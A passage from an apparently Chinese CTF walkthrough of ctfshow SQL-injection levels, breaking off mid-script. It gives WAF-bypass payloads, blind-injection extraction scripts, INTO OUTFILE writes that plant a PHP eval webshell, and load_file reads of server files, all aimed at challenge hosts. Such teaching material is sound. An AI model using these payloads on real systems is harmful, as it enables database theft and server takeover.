-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J') from information_schema.tables where table_schema='ctfshow_web'--+

查询列名

-1' union select 'a',group_concat(column_name) from information_schema.columns where table_name="ctfshow_user4" --+

查询字段记录

-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J') from ctfshow_user4--+

将回显的 flag 用脚本处理，恢复正确内容

	def rev_replace(txt):
	repl = {
	'A': '1',
	'B': '2',
	'C': '3',
	'D': '4',
	'E': '5',
	'F': '6',
	'G': '7',
	'H': '8',
	'I': '9',
	'J': '0'
	}

	for k, v in repl.items():
	txt = txt.replace(k, v)

	return txt

	txt = input("输入：")
	out = rev_replace(txt)
	print("替换后: ", out)

题解二

只查出 username 为 flag 的那一行

-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J') from ctfshow_user4 where username='flag'--+

题解三

将查询结果写入靶机服务器

1' union select username,password from ctfshow_user4 into outfile '/var/www/html/flag.txt'--+

访问 靶机/flag.txt

/flag.txt

题解四

写入木马

-1' union select 'a',<?php @eval($_POST[a]);?> into outfile "/var/www/html/1.php"--+

可以访问 /1.php 说明写入成功

连接蚁剑

在 /var/www/html/api/v4.php 删掉 waf 语句

回到查询页面，可正常无过滤注入

1' union select 1,password from ctfshow_user4--+

题解五

查询注入接口为 /api/v4.php ，并非靶机查询页面网址

极速脚本解题

	import requests
	from concurrent.futures import ThreadPoolExecutor, as_completed

	# ===================== 配置区 =====================
	URL = "http://62350fa3-1f63-4684-9981-7787a1bc0d90.challenge.ctf.show/api/v4.php" # 目标地址
	CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz{}-" # 爆破字典
	TARGET_USER = "flag" # 目标用户名
	MAX_LEN = 50 # 爆破长度上限
	THREADS = 10 # 并发线程数
	DEBUG = False # 是否打印调试信息（True/False）

	# ★ i 注入点、payload 模板写在配置区
	PAYLOAD_TEMPLATE = "?id=1' and substr((select password from ctfshow_user4 where username=\"{user}\"),{pos},1)='{char}'--+"
	SUCCESS_KEYWORD = "admin" # ★ 判断正确的关键字
	# =================== 配置区结束 ===================


	def test_char(session, pos, ch):
	"""测试某一位的某个字符"""
	payload = PAYLOAD_TEMPLATE.format(user=TARGET_USER, pos=pos, char=ch)
	url_full = URL + payload
	try:
	res = session.get(url=url_full, timeout=5)
	except requests.exceptions.RequestException:
	return None

	if DEBUG:
	print(f"[DEBUG] pos={pos}, try='{ch}'")

	if SUCCESS_KEYWORD in res.text:
	return ch
	return None


	def extract_flag():
	flag = ""
	session = requests.Session()

	for i in range(1, MAX_LEN + 1):
	found = None

	# ★ 多线程跑这一位的所有候选字符
	with ThreadPoolExecutor(max_workers=THREADS) as executor:
	futures = {executor.submit(test_char, session, i, ch): ch for ch in CHARSET}

	for future in as_completed(futures):
	result = future.result()
	if result is not None:
	found = result
	break

	if found:
	flag += found
	print(f"[+] 当前Flag: {flag}")
	else:
	print("[*] 爆破结束")
	break

	return flag


	if __name__ == "__main__":
	result = extract_flag()
	print(f"\n最终Flag: {result}")

# web175

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";


	返回逻辑
	// 检查结果是否有 flag
	if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
	$ret['msg']='查询成功';
	}

正则匹配过滤所有 ASCII 字符（从 \x00 到 \x7f ，即 0 到 127 的所有字符，包括控制字符、数字、字母和符号）

题解一

将查询结果写入靶机服务器

1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.php'--+

访问 靶机/1.php

/1.php

题解二

发现页面存在延时

1' and sleep(3)--+

可以使用时间盲注脚本

	import requests
	from concurrent.futures import ThreadPoolExecutor, as_completed
	import time

	# ===================== 配置区 =====================
	URL = "http://4bbc4f29-3d36-42b9-abc0-c10dd3b3d326.challenge.ctf.show/api/v5.php"
	CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
	TARGET_USER = "flag"
	MAX_LEN = 50
	THREADS = 10
	DEBUG = False
	TIME_THRESHOLD = 1 # 响应时间超过多少秒判定为正确字符
	SLEEP_TIME = 1.5 # payload 中 sleep 的秒数

	# ★ payload 模板改成时间盲注
	PAYLOAD_TEMPLATE = "?id=1' and if(substr((select password from ctfshow_user5 where username='{user}'),{pos},1)='{char}', SLEEP({sleep}), 0)--+"
	# =================== 配置区结束 ===================

	def test_char(session, pos, ch):
	"""测试某一位的某个字符"""
	payload = PAYLOAD_TEMPLATE.format(user=TARGET_USER, pos=pos, char=ch, sleep=SLEEP_TIME)
	url_full = URL + payload
	start = time.time()
	try:
	session.get(url=url_full, timeout=SLEEP_TIME + 2)
	except requests.exceptions.RequestException:
	return None
	elapsed = time.time() - start

	if DEBUG:
	print(f"[DEBUG] pos={pos}, try='{ch}', time={elapsed:.2f}s")

	if elapsed >= TIME_THRESHOLD:
	return ch
	return None

	def extract_flag():
	flag = ""
	session = requests.Session()

	for i in range(1, MAX_LEN + 1):
	found = None
	with ThreadPoolExecutor(max_workers=THREADS) as executor:
	futures = {executor.submit(test_char, session, i, ch): ch for ch in CHARSET}
	for future in as_completed(futures):
	result = future.result()
	if result is not None:
	found = result
	break

	if found:
	flag += found
	print(f"[+] 当前Flag: {flag}")
	else:
	print("[*] 爆破结束")
	break

	return flag

	if __name__ == "__main__":
	result = extract_flag()
	print(f"\n最终Flag: {result}")

题解三

利用 BurpSuite 爆破

爆破数据库长度：11

payload 插入点： 1' and if(length(database())=§1§,sleep(3),0)--+

1' and if(length(database())=1,sleep(3),0)--+

1%27%20and%20if(length(database())=§1§,sleep(3),0)--+

爆破数据库名： ctfshow_web

payload 插入点： 1' and if(substr(database(),§1§,1)='§a§',sleep(5),1)--+

1' and if(substr(database(),1,1)='a',sleep(5),1)--+

1%27%20and%20if(substr(database(),§1§,1)=%27§a§%27,sleep(5),1)--+

爆破表数量：1

payload 插入点： 1' and if((select count(table_name) from information_schema.tables where table_schema='ctfshow_web')=§1§,sleep(5),1)--+

1' and if((select count(table_name) from information_schema.tables where table_schema='ctfshow_web')=1,sleep(5),1)--+

1%27%20and%20if((select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=%27ctfshow_web%27)=§1§,sleep(5),1)--+

爆破表名长度：13

payload 插入点： 1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=§1§,sleep(5),1)--+

1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1,sleep(5),1)--+

1%27%20and%20if(length((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1))=§1§,sleep(5),1)--+

爆破表名： ctfshow_user5

payload 插入点： 1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§0§,1)='§a§',sleep(5),1)--+

1' and if((substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1)='a',sleep(5),1)--+

1%27%20and%20if((substr(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0,1)=%27a%27,sleep(5),1)--+

爆破 flag

payload 插入点： 1' and if(substr((select password from ctfshow_user5 where username='flag'),§0§,1)='§a§',sleep(5),1)--+

1' and if(substr((select password from ctfshow_user5 where username='flag'),0,1)='§a§',sleep(5),1)--+

1%27%20and%20if(substr((select%20password%20from%20ctfshow_user5%20where%20username=%27flag%27),0,1)=%27a%27,sleep(5),1)--+

# web176

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	// 代码过于简单，不宜展示
	}

过滤了 select

题解一

查询列数为 3

1' order by 3--+

select 被过滤，使用大小写混合绕过

查询库名 ctfshow_web

-1' union Select 1,2,database()--+

查询表名，有一个表

-1' union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

查询列

-1' union Select 1,2,group_concat(column_name) from information_schema.columns where table_name="ctfshow_user" --+

查询字段记录

-1' union Select 1,2,password from ctfshow_user--+

题解二

只查出 username 为 flag 的那一行

-1' union Select 1,2,password from ctfshow_user where username = 'flag'--+

题解三

使用万能密码

1' or 1=1--+

# web177

	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	// 代码过于简单，不宜展示
	}

过滤了 空格 、 --+

可以使用以下字符绕过空格过滤

%0a 换行符
/**/ 注释符
%09 水平制表符 (TAB)
%0b 垂直制表符
%0c 换页符
%0d 回车符

注意不能用 %20 ，因为空格也会被解析成 %20 ，因此并没有绕过

题解一

-1'%0aunion%0aselect%0a1,2,password%0afrom%0actfshow_user%0awhere%0ausername='flag'%23

题解二

使用万能密码

1'%0aor%0a1=1%23

# web178

	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	// 代码过于简单，不宜展示
	}

过滤了 空格 、 --+ 、 /**/

题解一

-1'%0aunion%0aselect%0a1,2,password%0afrom%0actfshow_user%0awhere%0ausername='flag'%23

题解二

使用万能密码

1'%0aor%0a1=1%23

# web179

	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	// 代码过于简单，不宜展示
	}

过滤了 空格 、 --+ 、 /**/ 、 %09 、 %0a 、 %0b 、 %0d

题解一

-1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23

题解二

使用万能密码

1'%0cor%0c1=1%23

# web180

	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	// 代码过于简单，不宜展示
	}

过滤了 空格 、 --+ 、 /**/ 、 %09 、 %0a 、 %0b 、 %0d 、 %23

题解一

where '1'='1'

恒为真条件
等价于：直接查询整张表的 password

-1'%0cunion%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1

题解二

flag 位于 id=26

	'or(id=26)and'1
	'or(id=26)and'1'='1
	0'or(id=26)and'1'='1
	-1'or(id=26)and'1'='1

	#传入数据库为 (id = '') OR (id = 26 AND '1'='1') and 的优先级大于 or
	#最终 false OR (true AND true) → true

# web181

	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	return preg_match('/ \|\*\|\x09\|\x0a\|\x0b\|\x0c\|\x00\|\x0d\|\xa0\|\x23\|\#\|file\|into\|select/i', $str);
	}

题解一

OR (username)='flag' → 如果表里有一条记录满足 username='flag' ，则条件为真

	-1'or(username)='flag
	-1'or(id)='26
	-1'\|\|username='flag
	-1'\|\|id='26

题解二

使用万能密码

	'or(id=26)and'1'='1
	'or(id=26)and'1
	0'or(id=26)and'1
	-1'or(id=26)and'1

# web182

	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	return preg_match('/ \|\*\|\x09\|\x0a\|\x0b\|\x0c\|\x00\|\x0d\|\xa0\|\x23\|\#\|file\|into\|select\|flag/i', $str);
	}

题解一

	-1'or((username)=concat("fl","ag"))and'1'='1
	-1'\|\|username=(concat("fl","ag"))and'1
	-1'or(id)='26
	-1'\|\|id='26

题解二

使用万能密码

	'or(id=26)and'1'='1
	'or(id=26)and'1
	0'or(id=26)and'1
	-1'or(id=26)and'1

# web183

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select count(pass) from ".$_POST['tableName'].";";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	return preg_match('/ \|\*\|\x09\|\x0a\|\x0b\|\x0c\|\x0d\|\xa0\|\x00\|\#\|\x23\|file\|\=\|or\|\x7c\|select\|and\|flag\|into/i', $str);
	}


	查询结果
	// 返回用户表的记录总数
	$user_count = 0;

% 代表通配符（任意字符串）

% URL 编码为 %25

可以通过回显值判断 flag 是否正确

tableName=(ctfshow_user)where(pass)like'ctfshow%25'

脚本 post

	import requests
	import time

	# ==================== 配置区 ====================
	# 目标 URL
	URL = "http://62068be2-b35f-44b9-a953-dcf9022c5953.challenge.ctf.show/select-waf.php"

	# POST 请求参数配置
	POST_NAME = "tableName" # POST 的 name
	POST_VALUE_PREFIX = "(ctfshow_user)where(pass)like'" # value 的前缀
	POST_VALUE_SUFFIX = "%'" # value 的后缀

	# 可选字符集，根据实际 flag 特点可以缩小范围提高效率
	CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz{}-"

	# 已知 flag 前缀
	PREFIX = "ctfshow{"

	# 最大尝试长度（避免死循环）
	MAX_LEN = 45

	# 每次请求之间的延迟，避免被 WAF 封禁
	SLEEP_TIME = 0.05

	# 服务器响应里判断条件是否成立的关键字
	SUCCESS_KEY = "$user_count = 1"

	# ==================== 脚本逻辑 ====================

	def brute_force():
	flag = PREFIX
	for i in range(len(PREFIX), MAX_LEN):
	found = False
	for ch in CHARSET:
	payload = f"{POST_VALUE_PREFIX}{flag + ch}{POST_VALUE_SUFFIX}"
	data = {POST_NAME: payload}

	try:
	res = requests.post(url=URL, data=data, timeout=5)
	except requests.exceptions.RequestException as e:
	print(f"[!] 请求出错: {e}")
	continue

	if SUCCESS_KEY in res.text:
	flag += ch
	print(f"[+] 已发现: {flag}")
	found = True
	if ch == "}": # flag 结束标志
	print(f"[✓] 最终 flag: {flag}")
	return flag
	break

	if not found:
	print("[!] 没找到下一个字符，可能 flag 完成或 CHARSET 不全")
	break

	time.sleep(SLEEP_TIME)

	if __name__ == "__main__":
	brute_force()

# web184

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select count(*) from ".$_POST['tableName'].";";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	return preg_match('/\*\|\x09\|\x0a\|\x0b\|\x0c\|\0x0d\|\xa0\|\x00\|\#\|\x23\|file\|\=\|or\|\x7c\|select\|and\|flag\|into\|where\|\x26\|\'\|\"\|union\|\`\|sleep\|benchmark/i', $str);
	}


	查询结果
	// 返回用户表的记录总数
	$user_count = 0;

RIGHT JOIN 右连接

1. 基本概念

RIGHT JOIN （也叫 右连接）是 SQL 中的 表连接方式之一，它用于从 两个表中获取数据：

右表（ RIGHT JOIN 后面的表）中的所有记录都会被保留。
左表（ RIGHT JOIN 前面的表）中如果没有匹配的记录，则对应的字段会返回 NULL 。
换句话说，它是 LEFT JOIN 的 “镜像”：保留的是右表的全部行。

2. 语法

	SELECT 列名
	FROM 表1
	RIGHT JOIN 表2
	ON 表1.字段 = 表2.字段;

表1 ：左表
表2 ：右表
ON 表1.字段 = 表2.字段 ：连接条件
SELECT 列名 ：可以选择左表、右表或两表的字段

注意：如果右表中的某行在左表中没有匹配，则左表字段返回 NULL 。

3. 示例

假设有两个表：

表 students ：

id	name
1	Alice
2	Bob
3	Carol

表 scores ：

student_id	score
1	90
2	85
4	88

我们用 RIGHT JOIN ：

	SELECT students.id, students.name, scores.score
	FROM students
	RIGHT JOIN scores
	ON students.id = scores.student_id;

结果：

id	name	score
1	Alice	90
2	Bob	85
NULL	NULL	88

解释：

student_id = 1 → 匹配，返回 Alice 的信息
student_id = 2 → 匹配，返回 Bob 的信息
student_id = 4 → 不匹配左表，返回 NULL

ctfshow%    16进制编码后-->   0x63746673686f7725

MySQL 会自动把 0x63746673686f7725 当作字符串处理，可以绕过单引号过滤

ctfshow_user AS a ：把表 ctfshow_user 起别名 a 。

RIGHT JOIN ctfshow_user AS b ：右连接同一个表，起别名 b ，用于自己跟自己做条件匹配。

ON b.pass LIKE 'ctfshow%' ：连接条件是 b 表的 pass 字段以 ctfshow 开头。

count(pass) ：统计符合条件的记录数。

回显 $user_count=43 则判断正确

tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725

	import requests
	import time
	import binascii

	# ==================== 配置区 ====================
	URL = "http://fb220894-1420-42b2-9cb9-a595c452d077.challenge.ctf.show/select-waf.php"

	POST_NAME = "tableName"
	POST_VALUE_PREFIX = "ctfshow_user as a right join ctfshow_user as b on b.pass like "
	CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
	PREFIX = "ctfshow{"
	MAX_LEN = 45
	SLEEP_TIME = 0.05
	SUCCESS_KEY = "$user_count = 43"

	# ==================== 工具函数 ====================
	def to_hex(s: str) -> str:
	"""把字符串转换成 MySQL HEX 形式"""
	str_16 = binascii.b2a_hex(s.encode('utf-8'))
	return str_16.decode()

	# ==================== 脚本逻辑 ====================
	def brute_force():
	flag = PREFIX
	for i in range(len(PREFIX), MAX_LEN):
	found = False
	for ch in CHARSET:
	# 每次把 flag + 当前字符 + % 转 HEX
	hex_payload = "0x" + to_hex(flag + ch + "%")
	payload = f"{POST_VALUE_PREFIX}{hex_payload}"
	data = {POST_NAME: payload}

	try:
	res = requests.post(url=URL, data=data, timeout=5)
	except requests.exceptions.RequestException as e:
	print(f"[!] 请求出错: {e}")
	continue

	if SUCCESS_KEY in res.text:
	flag += ch
	print(f"[+] 已发现: {flag}")
	found = True
	if ch == "}":
	print(f"[✓] 最终 flag: {flag}")
	return flag
	break

	if not found:
	print("[!] 没找到下一个字符，可能 flag 完成或 CHARSET 不全")
	break

	time.sleep(SLEEP_TIME)

	if __name__ == "__main__":
	brute_force()

# web185

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select count(*) from ".$_POST['tableName'].";";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	return preg_match('/\*\|\x09\|\x0a\|\x0b\|\x0c\|\0x0d\|\xa0\|\x00\|\#\|\x23\|file\|\=\|or\|\x7c\|select\|and\|flag\|into\|where\|\x26\|\'\|\"\|union\|\`\|sleep\|benchmark/i', $str);
	}


	查询结果
	// 返回用户表的记录总数
	$user_count = 0;

mysql 中的命令

mysql> SELECT CONCAT('my', 's', 'ql'); 
-> 'mysql'
mysql> SELECT true + true;
->  2

	# -- coding:UTF-8 --
	# Author:dota_st + modified
	import requests
	import time

	# ==================== 配置区 ====================
	URL = "http://603b48c4-c187-4214-9301-5f6164de0af8.challenge.ctf.show/select-waf.php"

	POST_NAME = "tableName"

	# 可选字符集
	CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz{}-"

	# 已知 flag 前缀
	PREFIX = "ctfshow{"

	MAX_LEN = 45
	SLEEP_TIME = 0.05

	# 服务器响应里判断条件是否成立的关键字
	SUCCESS_KEY = "$user_count = 43"

	# ==================== 函数区 ====================
	def createNum(n):
	s = 'true'
	if n == 1:
	return 'true'
	for i in range(n - 1):
	s += "+true"
	return s

	def change_str(s):
	"""
	将字符串转换为 chr(x) 拼接形式，用于 SQL concat()
	例如 'abc' -> chr(97),chr(98),chr(99)
	"""
	res = "chr(" + createNum(ord(s[0])) + ")"
	for c in s[1:]:
	res += ",chr(" + createNum(ord(c)) + ")"
	return res

	# ==================== 脚本逻辑 ====================
	def brute_force():
	flag = PREFIX
	for i in range(len(PREFIX), MAX_LEN):
	found = False
	for ch in CHARSET:
	payload = f"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({change_str(flag + ch + '%')}))"
	data = {POST_NAME: payload}

	try:
	res = requests.post(URL, data=data, timeout=5)
	except requests.exceptions.RequestException as e:
	print(f"[!] 请求出错: {e}")
	continue

	if SUCCESS_KEY in res.text:
	flag += ch
	print(f"[+] 已发现: {flag}")
	found = True
	if ch == "}":
	print(f"[✓] 最终 flag: {flag}")
	return flag
	break

	if not found:
	print("[!] 没找到下一个字符，可能 flag 完成或 CHARSET 不全")
	break

	time.sleep(SLEEP_TIME)

	if __name__ == "__main__":
	brute_force()

# web186

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select count(*) from ".$_POST['tableName'].";";


	返回逻辑
	// 对传入的参数进行了过滤
	function waf($str){
	return preg_match('/\*\|\x09\|\x0a\|\x0b\|\x0c\|\0x0d\|\xa0\|\%\|\<\|\>\|\^\|\x00\|\#\|\x23\|[0-9]\|file\|\=\|or\|\x7c\|select\|and\|flag\|into\|where\|\x26\|\'\|\"\|union\|\`\|sleep\|benchmark/i', $str);
	}


	查询结果
	// 返回用户表的记录总数
	$user_count = 0;

利用 web185 的脚本解题

	# -- coding:UTF-8 --
	# Author:dota_st + modified
	import requests
	import time

	# ==================== 配置区 ====================
	URL = "http://76018f77-8b0e-414f-a7a1-c988148411ed.challenge.ctf.show/select-waf.php"

	POST_NAME = "tableName"

	# 可选字符集
	CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz{}-"

	# 已知 flag 前缀
	PREFIX = "ctfshow{"

	MAX_LEN = 45
	SLEEP_TIME = 0.05

	# 服务器响应里判断条件是否成立的关键字
	SUCCESS_KEY = "$user_count = 43"

	# ==================== 函数区 ====================
	def createNum(n):
	s = 'true'
	if n == 1:
	return 'true'
	for i in range(n - 1):
	s += "+true"
	return s

	def change_str(s):
	"""
	将字符串转换为 chr(x) 拼接形式，用于 SQL concat()
	例如 'abc' -> chr(97),chr(98),chr(99)
	"""
	res = "chr(" + createNum(ord(s[0])) + ")"
	for c in s[1:]:
	res += ",chr(" + createNum(ord(c)) + ")"
	return res

	# ==================== 脚本逻辑 ====================
	def brute_force():
	flag = PREFIX
	for i in range(len(PREFIX), MAX_LEN):
	found = False
	for ch in CHARSET:
	payload = f"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({change_str(flag + ch + '%')}))"
	data = {POST_NAME: payload}

	try:
	res = requests.post(URL, data=data, timeout=5)
	except requests.exceptions.RequestException as e:
	print(f"[!] 请求出错: {e}")
	continue

	if SUCCESS_KEY in res.text:
	flag += ch
	print(f"[+] 已发现: {flag}")
	found = True
	if ch == "}":
	print(f"[✓] 最终 flag: {flag}")
	return flag
	break

	if not found:
	print("[!] 没找到下一个字符，可能 flag 完成或 CHARSET 不全")
	break

	time.sleep(SLEEP_TIME)

	if __name__ == "__main__":
	brute_force()

# web187

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";


	返回逻辑
	$username = $_POST['username'];
	$password = md5($_POST['password'],true);

	// 只有 admin 可以获得 flag
	if($username!='admin'){
	$ret['msg']='用户名不存在';
	die(json_encode($ret));
	}

md5 函数基本语法

string md5 ( string $str , bool $raw_output = false )

第一个参数 $str
需要加密的字符串。
第二个参数 $raw_output
是否以 原始的二进制格式 返回。
- 默认是 false ，返回 32 位十六进制字符串（常见的 MD5）。
- 如果传 true ，返回 16 字节的原始二进制数据（不可读）。

ffifdyop 字符串经 md5(password,true) 处理之后会变成 276f722736c95d99e921722cf9ed621c
而 Mysql 会把 hex 转成 ascii 解释，这个字符串前几位刚好是 ' or '6<乱码> ， or 后的内容是永真式

	用户名：admin
	密码：ffifdyop

# web188

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select pass from ctfshow_user where username = {$username}";


	返回逻辑
	// 用户名检测
	if(preg_match('/and\|or\|select\|from\|where\|union\|join\|sleep\|benchmark\|,\|$\|$\|\'\|\"/i', $username)){
	$ret['msg']='用户名非法';
	die(json_encode($ret));
	}

	// 密码检测
	if(!is_numeric($password)){
	$ret['msg']='密码只能为数字';
	die(json_encode($ret));
	}

	// 密码判断
	if($row['pass']==intval($password)){
	$ret['msg']='登陆成功';
	array_push($ret['data'], array('flag'=>$flag));
	}

填入的 username 和 password 为字符串

以字母开头的字符串在和数字比较时，会被强制转换为 0

	用户名：0
	密码：0

# web189

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select pass from ctfshow_user where username = {$username}";


	返回逻辑
	// 用户名检测
	if(preg_match('/select\|and\| \|\*\|\x09\|\x0a\|\x0b\|\x0c\|\x0d\|\xa0\|\x00\|\x26\|\x7c\|or\|into\|from\|where\|join\|sleep\|benchmark/i', $username)){
	$ret['msg']='用户名非法';
	die(json_encode($ret));
	}

	// 密码检测
	if(!is_numeric($password)){
	$ret['msg']='密码只能为数字';
	die(json_encode($ret));
	}

	// 密码判断
	if($row['pass']==$password){
	$ret['msg']='登陆成功';
	}

load_file(file_path) 函数

LOAD_FILE(file_path)

作用：读取服务器上的文件内容，返回为一个字符串。
参数： file_path ：文件的绝对路径
例如 /etc/passwd 或 C:\Windows\system32\drivers\etc\hosts
返回值：
- 成功 → 文件内容作为字符串
- 失败 → NULL

regexp 函数

column_name REGEXP pattern

作用：判断某列的值是否 匹配正则表达式 pattern 。
返回值：
- 匹配 → 1
- 不匹配 → 0

常用语法规则

表达式	含义
`^abc`	以 `abc` 开头
`xyz$`	以 `xyz` 结尾
`[a-z]`	匹配任意小写字母
`[0-9]`	匹配任意数字
`.`	匹配任意单个字符
`*`	匹配前一个字符 0 次或多次
`+`	匹配前一个字符 1 次或多次
`?`	匹配前一个字符 0 次或 1 次

	//username/pass 输入 0/0 输出密码错误
	//username/pass 输入 1/0 输出查询失败

	// 输出密码错误表示条件为真
	// 输出查询失败表示条件为假

	//username 存在支持布尔盲注的条件

查询为真时的关键字 \u5bc6\u7801\u9519\u8bef

测试一下

查询为假时返回 “查询失败”

if(load_file('/var/www/html/api/index.php')regexp'ctfshow1',0,1)

查询为真时返回 “密码错误”

if(load_file('/var/www/html/api/index.php')regexp'ctfshow{',0,1)

利用脚本解题

	import requests
	import time

	# ==================== 配置区 ====================

	URL = "http://6d5fdcd5-caca-4e9e-98d0-7af939d64d46.challenge.ctf.show/api/index.php"

	# POST 请求参数配置
	USERNAME_PARAM = "username"
	PASSWORD_PARAM = "password"

	POST_VALUE_PREFIX = "if(load_file('/var/www/html/api/index.php')regexp'"
	POST_VALUE_SUFFIX = "',0,1)" # 注意这里补上，0,1 和右括号

	# 可选字符集
	CHARSET = "0123456789abcdefghijklmnopqrstuvwxyz-{}"

	# 已知 flag 前缀
	PREFIX = "ctfshow{"

	# 最大尝试长度
	MAX_LEN = 45

	# 请求延迟
	SLEEP_TIME = 0.05

	# 服务器响应关键字
	SUCCESS_KEY = r"\u5bc6\u7801\u9519\u8bef"

	# ==================== 脚本逻辑 ====================

	def brute_force():
	flag = PREFIX
	for i in range(len(PREFIX), MAX_LEN):
	found = False
	for ch in CHARSET:
	payload = f"{POST_VALUE_PREFIX}{flag + ch}{POST_VALUE_SUFFIX}"
	data = {
	USERNAME_PARAM: payload,
	PASSWORD_PARAM: 0
	}

	try:
	res = requests.post(url=URL, data=data, timeout=5)
	time.sleep(SLEEP_TIME)
	except requests.exceptions.RequestException as e:
	print(f"[!] 请求出错: {e}")
	continue

	if SUCCESS_KEY in res.text:
	flag += ch
	print(f"[+] 已发现: {flag}")
	found = True
	if ch == "}":
	print(f"[✓] 最终 flag: {flag}")
	return flag
	break

	if not found:
	print("[!] 没找到下一个字符，可能 flag 完成或 CHARSET 不全")
	break

	if __name__ == "__main__":
	brute_force()

# web190

	查询语句
	// 拼接 sql 语句查找指定 ID 用户
	$sql = "select pass from ctfshow_user where username = '{$username}'";


	返回逻辑
	// 密码检测
	if(!is_numeric($password)){
	$ret['msg']='密码只能为数字';
	die(json_encode($ret));
	}

	// 密码判断
	if($row['pass']==$password){
	$ret['msg']='登陆成功';
	}

	//TODO: 感觉少了个啥，奇怪

可以利用回显 “密码错误” 和 “用户名不存在” 判断测试的正确与否

查询为真时返回 “密码错误”

关键字 \u5bc6\u7801\u9519\u8bef

查询为假时返回 “用户名不存在”

爆破库名

爆破表名

爆破字段

爆破 flag

	import requests
	import time

	# ==================== 配置区 ====================
	URL = "http://bcf69769-3d02-4adf-81f2-b1d47707987e.challenge.ctf.show/api/"

	# POST 请求参数
	USERNAME_PARAM = "username"
	PASSWORD_PARAM = "password"
	DEFAULT_PASSWORD = "123456"

	# 爆破范围（ASCII）
	ASCII_START = 32 # 空格开始
	ASCII_END = 127 # ~ 结束
	MAX_LEN = 45 # 最长 flag 长度

	# SQL payload（注意：用 {} 占位符）
	# PAYLOAD = "select database()"
	# PAYLOAD = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
	# PAYLOAD = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
	PAYLOAD = "select f1ag from ctfshow_fl0g"

	# 服务端响应中判断条件是否成立的关键字
	SUCCESS_KEY = "密码错误" # 填转义后的即可，下面有 json 处理

	# 请求延迟（避免 WAF）
	SLEEP_TIME = 0.05
	# ==================== 配置区 ====================


	def extract_flag():
	flag = ""
	for i in range(1, MAX_LEN + 1):
	start, end = ASCII_START, ASCII_END
	while start < end:
	mid = (start + end) >> 1
	# 构造 payload
	condition = f"ascii(substr(({PAYLOAD}), {i}, 1)) > {mid}" # 二分法
	inj = f"admin' and if({condition}, 1, 2)=1#"

	data = {
	USERNAME_PARAM: inj,
	PASSWORD_PARAM: DEFAULT_PASSWORD
	}

	try:
	res = requests.post(URL, data=data, timeout=5)
	msg = res.json().get("msg", "")
	except Exception as e:
	print(f"[!] 请求失败: {e}")
	return flag

